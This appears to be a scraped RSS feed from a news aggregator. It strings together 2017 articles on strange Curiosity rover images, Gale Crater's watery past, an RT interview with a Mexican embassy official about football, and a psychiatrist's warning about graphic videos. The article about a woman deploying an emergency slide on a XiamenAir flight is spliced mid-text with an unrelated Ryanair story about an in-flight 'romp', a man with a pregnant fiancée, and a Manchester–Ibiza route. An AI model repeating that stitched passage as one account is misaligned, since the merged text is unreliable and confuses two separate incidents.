Curiosity captured this amazing footage of dust devils whirling spectacularly on Mars as summer winds blew across the Red planet. Dust devils form as a result of sunshine warming the ground, causing the convective rising of air.

2. Bone-shaped rocks

In 2014, Curiosity set pulses racing with this incredible image reminiscent of a thigh bone. NASA was quick to dismiss such ideas, saying it likely shows rocks sculpted by wind or water erosion.

3. Star destroyer

This Curiosity image of its rocky Martian surroundings prompted UFO enthusiasts to claim it as evidence of an alien spacecraft on Mars. Funny how alien craft are eerily similar to those thought up by movie writers here on Earth!

4. Monster on Mars?

The rover’s mission is to study Mars and determine if it hosts – or ever hosted – life. This photo of dusty, jagged rocks looks pretty innocuous at first glance, but some eagle-eyed observers claim it clearly shows a ‘space crab’ lurking in the shadows. One Mars exploration fanpage on Facebook even suggested it bore an eerie resemblance to the creepy facehuggers from the Alien movies.

5. The Coffin

Aliens don’t bury their dead – apparently, they just leave them in coffins on Mars’ surface for all eternity. At least that’s what was suggested when this oblong shape was snapped by Curiosity in late 2014.

6. Itself

Curiosity channeled its own narcissistic celebrity with a series of images last year. The Red Planet selfie, looking somewhat like a holiday snap, comprises of 60 images taken while drilling into rock.

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]]> https://briefnews.eu/the-6-strangest-things-the-curiosity-rover-beamed-back-from-mars-photosvideos/feed/ 0 Passenger faces flight BAN after deploying £11,000 emergency slide out of ‘curiosity’ https://briefnews.eu/passenger-faces-flight-ban-after-deploying-11000-emergency-slide-out-of-curiosity/ https://briefnews.eu/passenger-faces-flight-ban-after-deploying-11000-emergency-slide-out-of-curiosity/#respond Tue, 13 Jun 2017 18:20:01 +0000 http://briefnews.eu/passenger-faces-flight-ban-after-deploying-11000-emergency-slide-out-of-curiosity/

The woman was abroad the XiamenAir flight as it was about to take off from the runway at Beijing Capital International Airport in China. 

Other passengers on the Boeing 757 claimed the woman flipped the lever to deploy the inflatable emergency slide despite being told not to. 

She was sitting two rows behind the emergency exit door on the left hand side at the time. 

The woman was immediately restrained by flight attendants, with the situation forcing the plane to be severely delayed. 

According Chinese media site Weibo, the woman deployed the slide at 11:50am, just seconds after cabin crew warned over the PA system against touching any of the emergency equipment. 

The plane had to be inspected from top to bottom after the slide was restored. 

After being removed from the flight, the passenger is now at the hands of Chinese tourism authorities. 

She faces a possible travel ban pending an investigation into the incident. 

It’s believed the man has a pregnant fiancee who was at home at the time. 

The pair – who reportedly met that evening – were on a flight from Manchester to Ibiza when the incident unfolded. 

Passengers have claimed that crew did nothing to break up the romp, even after one woman asked if she could move seats. 

Ryanair said it is looking into the incident but does not tolerate “unruly behaviour”. 

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]]> https://briefnews.eu/passenger-faces-flight-ban-after-deploying-11000-emergency-slide-out-of-curiosity/feed/ 0 Curiosity rover finds its crater was habitable for 700 million years https://briefnews.eu/curiosity-rover-finds-its-crater-was-habitable-for-700-million-years/ https://briefnews.eu/curiosity-rover-finds-its-crater-was-habitable-for-700-million-years/#respond Sat, 03 Jun 2017 23:55:06 +0000 http://briefnews.eu/curiosity-rover-finds-its-crater-was-habitable-for-700-million-years/

Enlarge / This fracture with discoloration may provide an indication of groundwater intrusion later in the history of Gale Crater. (credit: NASA)

Gale Crater, the site being explored by the Curiosity rover, was chosen as a landing site because its structure and composition suggested that it might preserve information about Mars’ past. As Curiosity climbed the slopes of the crater’s central peak, various discoveries have clearly indicated that Mars had a watery past.

Now, scientists have put all these individual discoveries into a big-picture view of the history of Gale Crater. The picture shows that the crater was water-filled for hundreds of millions of years—and warm for much of that time. A separate paper indicates that long after the crater filled up with wind-blown sand, groundwater still percolated through the area.

Reading the layers of history

The new study is built on lots of individual analyses of rock samples done by Curiosity as it headed up the slopes. Various instruments revealed the types of rocks and their chemical composition at specific locations up the slopes, building a picture of the different layers of deposits.

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]]> https://briefnews.eu/curiosity-rover-finds-its-crater-was-habitable-for-700-million-years/feed/ 0 ‘In Mexico there is a lot of curiosity about Russia’ – Mexican embassy official https://briefnews.eu/in-mexico-there-is-a-lot-of-curiosity-about-russia-mexican-embassy-official/ https://briefnews.eu/in-mexico-there-is-a-lot-of-curiosity-about-russia-mexican-embassy-official/#respond Fri, 05 May 2017 18:47:12 +0000 http://briefnews.eu/in-mexico-there-is-a-lot-of-curiosity-about-russia-mexican-embassy-official/

Mexican Embassy Official Jorge Reynoso says that despite the significant distance and culture difference between Russia and Mexico, the two countries are bonded by a love of football and curiosity.

READ MORE: ‘We hope to put on a show!’ – New Zealand official on 2017 Confederations Cup opener vs Russia

Mexico has a deep footballing history. The country has hosted the World Cup twice – in 1970 and 1986 – and through the years their national football team has boasted some of the tournament’s standout players.

They include world stars Javier ‘Chicharito’ Hernández, formerly of Manchester United; Champions League winner Rafael Márquez; and Cuauhtémoc Blanco, a veteran of three World Cup finals.

And of course, who could forget Mexico team manager at the 2014 World Cup, Miguel Herrera and his animated touchline antics.

Mexico also became the first host team to win the Confederations Cup in 1999, and will be looking to make their mark against some tough opposition at to the 2017 tournament this summer, which is also the first to be held in Russia.

The country also boasts some of the most voracious fans in world football – Pancho Villa’s Army – who fill the stadium in which their heroes play with  vibrant color and music.

Jorge Reynoso told RT Sport that, despite the difference in culture, climate and language of both Russia and Mexico, the countries are united in one shared passion.

RT: What does the Eight Flags Junior Cup represent?

JR: It’s a tournament that is built with a group of youngsters. They are going to participate, youngsters from 10 to 12 years old. They are going to represent the eight countries that are going to play in the Confederations Cup. It’s going to be in Khimki inside Moscow, very close to Moscow city on May 27.

RT: Mexico are one of the eight teams in the Confederations Cup. Mexican and Russian culture is extremely contrasting – how much are Mexicans looking forward to coming to Russia?

JR: Yes there is a long distance. But I think there is a lot of curiosity in Mexico about Russia – a lot of things in Russian history and culture. But also, it’s a different kind of country with the weather and language, but it’s a thing I consider fascinating about football: about the players but also about the people that is following the sport because with the help of things like the Confederations Cup and later on the World Cup, the people have the chance to know a little, or a lot about the countries that host these kinds of events.

There is a bond, a relationship, and also it is a relationship that is based in emotion and sport and peace and things like that so I think from the side of Mexico, there is a willingness to participate and also a willingness to see, to test the waters for the World Cup.

RT: Mexico became one of the stars of the last World Cup in 2014, will we see the same again at the 2018 World Cup?

JR: Well, let’s say, the teams that form each soccer representation depends on some strategies. Of course we are a year ahead of the World Cup and the technical directors of the teams need to test and need to find out how some players work best with other ones.

So it’s say a rehearsal and it’s important to mix the popular figures like Javier ‘Chicharito’ Hernandez with other players in order to find out how the team is working, the chemistry between the team. I am looking forward to the selection that is going to be established for the championship and how they are going to play in this event in 2017.

READ MORE: ‘Let’s enjoy beer & BBQ together!’ – Australian official predicts friendly atmosphere at Confed Cup

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]]> https://briefnews.eu/in-mexico-there-is-a-lot-of-curiosity-about-russia-mexican-embassy-official/feed/ 0 Killer curiosity: PTSD risks associated with watching graphic videos https://briefnews.eu/killer-curiosity-ptsd-risks-associated-with-watching-graphic-videos/ https://briefnews.eu/killer-curiosity-ptsd-risks-associated-with-watching-graphic-videos/#respond Sat, 29 Apr 2017 19:40:15 +0000 http://briefnews.eu/killer-curiosity-ptsd-risks-associated-with-watching-graphic-videos/ A French man shows a video he filmed of a violent police arrest in 2013.

A prominent Ottawa forensic psychiatrist is warning people about the traumas watching on screen violence after a video surfaced linked to the death of Manitoba teenager, Serena McKay.

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